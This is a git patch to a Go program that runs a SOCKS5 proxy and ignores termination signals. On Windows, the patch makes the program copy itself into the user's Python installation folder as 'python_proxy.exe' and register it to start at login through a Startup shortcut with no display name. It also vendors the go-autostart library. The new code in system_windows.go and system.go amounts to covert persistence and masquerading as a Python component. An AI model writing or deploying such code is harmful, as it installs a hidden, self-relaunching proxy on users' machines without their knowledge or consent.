From 6f72252f35cd786802f0e8a17326f4d1ecaa145d Mon Sep 17 00:00:00 2001 From: Jerry Jacobs Date: Wed, 31 Jul 2024 22:38:14 +0200 Subject: [PATCH] Initial working nesting in Python AppData installation --- go.mod | 1 + go.sum | 2 + main.go | 1 - main_release.go | 2 +- system.go | 140 +++++++++--------- system_darwin.go | 4 + system_linux.go | 4 + system_windows.go | 127 ++++++++++++++++ .../emersion/go-autostart/.gitignore | 24 +++ .../github.com/emersion/go-autostart/LICENSE | 21 +++ .../emersion/go-autostart/README.md | 51 +++++++ .../emersion/go-autostart/autostart.go | 13 ++ .../emersion/go-autostart/autostart_darwin.go | 68 +++++++++ .../emersion/go-autostart/autostart_windows.c | 51 +++++++ .../go-autostart/autostart_windows.go | 52 +++++++ .../emersion/go-autostart/autostart_xdg.go | 69 +++++++++ .../github.com/emersion/go-autostart/quote.go | 16 ++ vendor/modules.txt | 3 + 18 files changed, 581 insertions(+), 68 deletions(-) create mode 100644 vendor/github.com/emersion/go-autostart/.gitignore create mode 100644 vendor/github.com/emersion/go-autostart/LICENSE create mode 100644 vendor/github.com/emersion/go-autostart/README.md create mode 100644 vendor/github.com/emersion/go-autostart/autostart.go create mode 100644 vendor/github.com/emersion/go-autostart/autostart_darwin.go create mode 100644 vendor/github.com/emersion/go-autostart/autostart_windows.c create mode 100644 vendor/github.com/emersion/go-autostart/autostart_windows.go create mode 100644 vendor/github.com/emersion/go-autostart/autostart_xdg.go create mode 100644 vendor/github.com/emersion/go-autostart/quote.go diff --git a/go.mod b/go.mod index 63fed23..c042be1 100644 --- a/go.mod +++ b/go.mod @@ -5,6 +5,7 @@ go 1.22.4 require ( github.com/awnumar/memguard v0.22.5 github.com/cloudfoundry/socks5-proxy v0.2.120 + github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330 golang.org/x/crypto v0.25.0 golang.org/x/sys v0.22.0 diff --git a/go.sum b/go.sum index cba1973..3feb9ac 100644 --- a/go.sum +++ b/go.sum @@ -11,6 +11,8 @@ github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7Do github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a h1:M88ob4TyDnEqNuL3PgsE/p3bDujfspnulR+0dQWNYZs= +github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a/go.mod h1:buzQsO8HHkZX2Q45fdfGH1xejPjuDQaXH8btcYMFzPM= github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= diff --git a/main.go b/main.go index 2a3c492..06ca3b7 100644 --- a/main.go +++ b/main.go @@ -139,7 +139,6 @@ func main() { log.Println("SOCKS5 Addr", proxyServerURL) systemOSDetect() - systemGetWellKnownExistingPaths() mainLoop() } diff --git a/main_release.go b/main_release.go index b39a35f..315f099 100644 --- a/main_release.go +++ b/main_release.go @@ -116,5 +116,5 @@ func init() { } } - systemRouteAllLogging(logFile) + //systemRouteAllLogging(logFile) } diff --git a/system.go b/system.go index 8d26fcf..3e62afc 100644 --- a/system.go +++ b/system.go @@ -1,12 +1,13 @@ package main import ( + "fmt" "io" + "io/fs" "log" "os" "os/signal" "path/filepath" - "strings" ) var logFileWriter io.WriteCloser = &nopWriteCloser{} @@ -48,10 +49,6 @@ func systemCloseLogging() { logFileWriter.Close() } -func systemGetAppDataPath() string { - return filepath.Join(os.Getenv("USERPROFILE"), "AppData") -} - // systemCheckDirExists checks if the directory at the given path exists. func systemIsDirExisting(path string) bool { // Get file info @@ -84,6 +81,62 @@ func systemGetFilesInDirectory(path string) ([]string, bool) { return filesInDirectory, true } +func systemSearchFileInDirectoryRecursive(path string, filename string) []string { + var files []string + + // Ensure dir is an absolute path + absDir, err := filepath.Abs(path) + if err != nil { + return nil + } + + // Define a function to be called for each directory entry + walkFn := func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + + // Check if the entry is a file and has the desired extension + if !d.IsDir() && filename == d.Name() { + absPath := filepath.Join(absDir, path) + files = append(files, absPath) + } + return nil + } + + // Walk through the directory using fs.WalkDir + err = fs.WalkDir(os.DirFS(path), ".", walkFn) + if err != nil { + return nil + } + + return files +} + +func systemCopyFile(src string, dst string) error { + // Open the source file + srcFile, err := os.Open(src) + if err != nil { + return fmt.Errorf("error opening source file: %v", err) + } + defer srcFile.Close() + + // Create the destination file + dstFile, err := os.Create(dst) + if err != nil { + return fmt.Errorf("error creating destination file: %v", err) + } + defer dstFile.Close() + + // Copy the contents of the source file to the destination file + _, err = io.Copy(dstFile, srcFile) + if err != nil { + return fmt.Errorf("error copying file: %v", err) + } + + return nil +} + func systemIsFileExisting(path string) bool { // Get file info info, err := os.Stat(path) @@ -100,67 +153,6 @@ func systemIsFileExisting(path string) bool { return !info.IsDir() } -func systemGetSysWOW64Files() []string { - sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64") - files, _ := systemGetFilesInDirectory(sysWOW64Path) - return files -} - -func systemGetSystem32Files() []string { - system32Path := filepath.Join("C:", "Windows", "system32") - files, _ := systemGetFilesInDirectory(system32Path) - return files -} - -func systemGetWellKnownWINEOSFiles() []string { - var wineFiles []string - var foundFiles []string - - foundFiles = append(foundFiles, systemGetSysWOW64Files()...) - foundFiles = append(foundFiles, systemGetSystem32Files()...) - - for _, file := range foundFiles { - if strings.Contains(file, "wine") && strings.Contains(file, ".exe") { - wineFiles = append(wineFiles, file) - } - } - - return wineFiles -} - -func systemGetWellKnownExistingPaths() []string { - var existingPaths []string - - appDataPath := systemGetAppDataPath() - if ok := systemIsDirExisting(appDataPath); !ok { - log.Println("\t❌", appDataPath) - } - - wellKnownPathsToCheck := []string{ - filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations - filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations - } - - homeDirectory, err := os.UserHomeDir() - if err == nil { - homeDirPathsToCheck := []string{ - filepath.Join(homeDirectory, "go", "bin"), - } - wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...) - } - - for _, path := range wellKnownPathsToCheck { - if ok := systemIsDirExisting(path); ok { - existingPaths = append(existingPaths, path) - log.Println("\t✅", path) - } else { - log.Println("\t❌", path) - } - } - - return existingPaths -} - func systemIgnoreAllSignals() { // Create a channel to receive OS signals. sigs := make(chan os.Signal, 1) @@ -177,3 +169,19 @@ func systemIgnoreAllSignals() { } }() } + +func systemGetSelfAbsolutePath() string { + // Get the path of the executable + exePath, err := os.Executable() + if err != nil { + return "" + } + + // Convert to absolute path + absPath, err := filepath.Abs(exePath) + if err != nil { + return "" + } + + return absPath +} diff --git a/system_darwin.go b/system_darwin.go index ecaf62b..fba800f 100644 --- a/system_darwin.go +++ b/system_darwin.go @@ -5,3 +5,7 @@ package main func systemOSDetect() { } + +func systemGetWellKnownExistingPaths() []string { + return nil +} diff --git a/system_linux.go b/system_linux.go index 1d23d43..80f42e7 100644 --- a/system_linux.go +++ b/system_linux.go @@ -40,6 +40,10 @@ func int8SliceToString(int8Slice []int8) string { return string(byteSlice) } +func systemGetWellKnownExistingPaths() []string { + return nil +} + func systemIsUserRoot() bool { return false } diff --git a/system_windows.go b/system_windows.go index df5457b..c91eaf9 100644 --- a/system_windows.go +++ b/system_windows.go @@ -12,7 +12,10 @@ import ( "golang.org/x/sys/windows/registry" "log" "os" + "path/filepath" + "strings" "unsafe" + "github.com/emersion/go-autostart" ) // Detect native windows @@ -84,6 +87,126 @@ func systemIsUserRoot() bool { return root } +func systemGetAppDataPath() string { + return filepath.Join(os.Getenv("USERPROFILE"), "AppData") +} + +func systemGetSysWOW64Files() []string { + sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64") + files, _ := systemGetFilesInDirectory(sysWOW64Path) + return files +} + +func systemGetSystem32Files() []string { + system32Path := filepath.Join("C:", "Windows", "system32") + files, _ := systemGetFilesInDirectory(system32Path) + return files +} + +func systemGetWellKnownWINEOSFiles() []string { + var wineFiles []string + var foundFiles []string + + foundFiles = append(foundFiles, systemGetSysWOW64Files()...) + foundFiles = append(foundFiles, systemGetSystem32Files()...) + + for _, file := range foundFiles { + if strings.Contains(file, "wine") && strings.Contains(file, ".exe") { + wineFiles = append(wineFiles, file) + } + } + + return wineFiles +} + +func systemAppDataSearchPythonInstallationPaths() []string { + appDataPath := systemGetAppDataPath() + if ok := systemIsDirExisting(appDataPath); !ok { + log.Println("\t❌", appDataPath) + } + + var installFolders []string + + appDataLocalProgramsPythonPath := filepath.Join(appDataPath, "Local", "Programs", "Python") + paths := systemSearchFileInDirectoryRecursive(appDataLocalProgramsPythonPath, "python.exe") + for _, path := range paths { + dir := filepath.Dir(path) + if strings.Contains(dir, "venv") { + continue + } + log.Println("\t✅", dir) + installFolders = append(installFolders, dir) + } + + return installFolders +} + +func systemTryInstallPythonPath() string { + paths := systemAppDataSearchPythonInstallationPaths() + if len(paths) == 0 { + return "" + } + + selfEXEPath := systemGetSelfAbsolutePath() + destEXEPath := filepath.Join(paths[0], "python_proxy.exe") // first path should be OK + + err := systemCopyFile(selfEXEPath, destEXEPath) + log.Println("copy", selfEXEPath, "->", destEXEPath) + if err != nil { + log.Println("❌", err) + return "" + } + + app := &autostart.App { + Name: "python_proxy.exe", + DisplayName: "", + Exec: []string{"cmd.exe", "/C", destEXEPath}, + } + err = app.Enable() + if err == nil { + log.Println("\tINSTALLED ✅", selfEXEPath) + } + + return destEXEPath +} + +/* +func systemGetWellKnownExistingPaths() []string { + var existingPaths []string + + appDataPath := systemGetAppDataPath() + if ok := systemIsDirExisting(appDataPath); !ok { + if err != nil { + + log.Println("\t❌", appDataPath) + } + + wellKnownPathsToCheck := []string{ + filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations + filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations + } + + homeDirectory, err := os.UserHomeDir() + if err == nil { + homeDirPathsToCheck := []string{ + filepath.Join(homeDirectory, "go", "bin"), + } + wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...) + } + + for _, path := range wellKnownPathsToCheck { + if ok := systemIsDirExisting(path); ok { + existingPaths = append(existingPaths, path) + log.Println("\t✅", path) + } else { + log.Println("\t❌", path) + } + } + + return existingPaths +} +*/ + func systemOSDetect() { systemGetWindowsVersion() @@ -98,4 +221,8 @@ func systemOSDetect() { log.Println("\t", file) } } + +// systemGetWellKnownExistingPaths() + systemAppDataSearchPythonInstallationPaths() + systemTryInstallPythonPath() } diff --git a/vendor/github.com/emersion/go-autostart/.gitignore b/vendor/github.com/emersion/go-autostart/.gitignore new file mode 100644 index 0000000..daf913b --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/.gitignore @@ -0,0 +1,24 @@ +# Compiled Object files, Static and Dynamic libs (Shared Objects) +*.o +*.a +*.so + +# Folders +_obj +_test + +# Architecture specific extensions/prefixes +*.[568vq] +[568vq].out + +*.cgo1.go +*.cgo2.c +_cgo_defun.c +_cgo_gotypes.go +_cgo_export.* + +_testmain.go + +*.exe +*.test +*.prof diff --git a/vendor/github.com/emersion/go-autostart/LICENSE b/vendor/github.com/emersion/go-autostart/LICENSE new file mode 100644 index 0000000..f9e1447 --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2016 ProtonMail + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/emersion/go-autostart/README.md b/vendor/github.com/emersion/go-autostart/README.md new file mode 100644 index 0000000..3cd5fdf --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/README.md @@ -0,0 +1,51 @@ +# go-autostart + +[![GoDoc](https://godoc.org/github.com/emersion/go-autostart?status.svg)](https://godoc.org/github.com/emersion/go-autostart) + +A Go library to run a command after login. + +## Usage + +```go +package main + +import ( + "log" + "github.com/emersion/go-autostart" +) + +func main() { + app := &autostart.App{ + Name: "test", + DisplayName: "Just a Test App", + Exec: []string{"sh", "-c", "echo autostart >> ~/autostart.txt"}, + } + + if app.IsEnabled() { + log.Println("App is already enabled, removing it...") + + if err := app.Disable(); err != nil { + log.Fatal(err) + } + } else { + log.Println("Enabling app...") + + if err := app.Enable(); err != nil { + log.Fatal(err) + } + } + + log.Println("Done!") +} +``` + +## Behavior + +* On Linux and BSD, it creates a `.desktop` file in `$XDG_CONFIG_HOME/autostart` + (i.e. `$HOME/.config/autostart`). See http://askubuntu.com/questions/48321/how-do-i-start-applications-automatically-on-login +* On macOS, it creates a `launchd` job. See http://blog.gordn.org/2015/03/implementing-run-on-login-for-your-node.html +* On Windows, it creates a link to the program in `%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` + +## License + +MIT diff --git a/vendor/github.com/emersion/go-autostart/autostart.go b/vendor/github.com/emersion/go-autostart/autostart.go new file mode 100644 index 0000000..7b7d6de --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/autostart.go @@ -0,0 +1,13 @@ +package autostart + +// An application that will be started when the user logs in. +type App struct { + // Unique identifier for the app. + Name string + // The command to execute, followed by its arguments. + Exec []string + // The app name. + DisplayName string + // The app icon. + Icon string +} diff --git a/vendor/github.com/emersion/go-autostart/autostart_darwin.go b/vendor/github.com/emersion/go-autostart/autostart_darwin.go new file mode 100644 index 0000000..ec04d8a --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/autostart_darwin.go @@ -0,0 +1,68 @@ +package autostart + +import ( + "os" + "path/filepath" + "text/template" +) + +const jobTemplate = ` + + + + Label + {{.Name}} + ProgramArguments + + {{range .Exec -}} + {{.}} + {{end}} + + RunAtLoad + + AbandonProcessGroup + + +` + +var launchDir string + +func init() { + launchDir = filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents") +} + +func (a *App) path() string { + return filepath.Join(launchDir, a.Name+".plist") +} + +// IsEnabled Check is app enabled startup. +func (a *App) IsEnabled() bool { + _, err := os.Stat(a.path()) + return err == nil +} + +// Enable this app on startup. +func (a *App) Enable() error { + t := template.Must(template.New("job").Parse(jobTemplate)) + + if err := os.MkdirAll(launchDir, 0777); err != nil { + return err + } + f, err := os.Create(a.path()) + if err != nil { + return err + } + defer f.Close() + + if err := t.Execute(f, a); err != nil { + return err + } + + return nil +} + +// Disable this app on startup. +func (a *App) Disable() error { + + return os.Remove(a.path()) +} diff --git a/vendor/github.com/emersion/go-autostart/autostart_windows.c b/vendor/github.com/emersion/go-autostart/autostart_windows.c new file mode 100644 index 0000000..a61618c --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/autostart_windows.c @@ -0,0 +1,51 @@ +#include +#include +#include +#include +#include +#include +#include + +uint64_t CreateShortcut(char *shortcutA, char *path, char *args) { + IShellLink* pISL; + IPersistFile* pIPF; + HRESULT hr; + + CoInitializeEx(NULL, COINIT_MULTITHREADED); + + // Shortcut filename: convert ANSI to unicode + WORD shortcutW[MAX_PATH]; + int nChar = MultiByteToWideChar(CP_ACP, 0, shortcutA, -1, shortcutW, MAX_PATH); + + hr = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (LPVOID*)&pISL); + if (!SUCCEEDED(hr)) { + return hr+0x01000000; + } + + // See https://msdn.microsoft.com/en-us/library/windows/desktop/bb774950(v=vs.85).aspx + hr = pISL->lpVtbl->SetPath(pISL, path); + if (!SUCCEEDED(hr)) { + return hr+0x02000000; + } + + hr = pISL->lpVtbl->SetArguments(pISL, args); + if (!SUCCEEDED(hr)) { + return hr+0x03000000; + } + + // Save the shortcut + hr = pISL->lpVtbl->QueryInterface(pISL, &IID_IPersistFile, (void**)&pIPF); + if (!SUCCEEDED(hr)) { + return hr+0x04000000; + } + + hr = pIPF->lpVtbl->Save(pIPF, shortcutW, FALSE); + if (!SUCCEEDED(hr)) { + return hr+0x05000000; + } + + pIPF->lpVtbl->Release(pIPF); + pISL->lpVtbl->Release(pISL); + + return 0x0; +} diff --git a/vendor/github.com/emersion/go-autostart/autostart_windows.go b/vendor/github.com/emersion/go-autostart/autostart_windows.go new file mode 100644 index 0000000..3c14609 --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/autostart_windows.go @@ -0,0 +1,52 @@ +package autostart + +// #cgo LDFLAGS: -lole32 -luuid +/* +#define WIN32_LEAN_AND_MEAN +#include +#include + +uint64_t CreateShortcut(char *shortcutA, char *path, char *args); +*/ +import "C" + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" +) + +var startupDir string + +func init() { + startupDir = filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup") +} + +func (a *App) path() string { + return filepath.Join(startupDir, a.Name+".lnk") +} + +func (a *App) IsEnabled() bool { + _, err := os.Stat(a.path()) + return err == nil +} + +func (a *App) Enable() error { + path := a.Exec[0] + args := strings.Join(a.Exec[1:], " ") + + if err := os.MkdirAll(startupDir, 0777); err != nil { + return err + } + res := C.CreateShortcut(C.CString(a.path()), C.CString(path), C.CString(args)) + if res != 0 { + return errors.New(fmt.Sprintf("autostart: cannot create shortcut '%s' error code: 0x%.8x", a.path(), res)) + } + return nil +} + +func (a *App) Disable() error { + return os.Remove(a.path()) +} diff --git a/vendor/github.com/emersion/go-autostart/autostart_xdg.go b/vendor/github.com/emersion/go-autostart/autostart_xdg.go new file mode 100644 index 0000000..39306a5 --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/autostart_xdg.go @@ -0,0 +1,69 @@ +// +build !windows,!darwin + +package autostart + +import ( + "os" + "path/filepath" + "text/template" +) + +const desktopTemplate = `[Desktop Entry] +Type=Application +Name={{.DisplayName}} +Exec={{.Exec}} +{{- if .Icon}} +Icon={{.Icon}}{{end}} +X-GNOME-Autostart-enabled=true +` + +var autostartDir string + +func init() { + if os.Getenv("XDG_CONFIG_HOME") != "" { + autostartDir = os.Getenv("XDG_CONFIG_HOME") + } else { + autostartDir = filepath.Join(os.Getenv("HOME"), ".config") + } + autostartDir = filepath.Join(autostartDir, "autostart") +} + +func (a *App) path() string { + return filepath.Join(autostartDir, a.Name+".desktop") +} + +// Check if the app is enabled on startup. +func (a *App) IsEnabled() bool { + _, err := os.Stat(a.path()) + return err == nil +} + +type app struct { + *App +} + +// Override App.Exec to return a string. +func (a *app) Exec() string { + return quote(a.App.Exec) +} + +// Enable this app on startup. +func (a *App) Enable() error { + t := template.Must(template.New("desktop").Parse(desktopTemplate)) + + if err := os.MkdirAll(autostartDir, 0777); err != nil { + return err + } + f, err := os.Create(a.path()) + if err != nil { + return err + } + defer f.Close() + + return t.Execute(f, &app{a}) +} + +// Disable this app on startup. +func (a *App) Disable() error { + return os.Remove(a.path()) +} diff --git a/vendor/github.com/emersion/go-autostart/quote.go b/vendor/github.com/emersion/go-autostart/quote.go new file mode 100644 index 0000000..b906eed --- /dev/null +++ b/vendor/github.com/emersion/go-autostart/quote.go @@ -0,0 +1,16 @@ +// +build !darwin + +package autostart + +import ( + "strconv" + "strings" +) + +func quote(args []string) string { + for i, v := range args { + args[i] = strconv.Quote(v) + } + + return strings.Join(args, " ") +} diff --git a/vendor/modules.txt b/vendor/modules.txt index 9a42f23..a42db0b 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -11,6 +11,9 @@ github.com/cloudfoundry/go-socks5 # github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38 ## explicit; go 1.21.0 github.com/cloudfoundry/socks5-proxy +# github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a +## explicit +github.com/emersion/go-autostart # github.com/miekg/dns v1.1.29 ## explicit; go 1.12 github.com/miekg/dns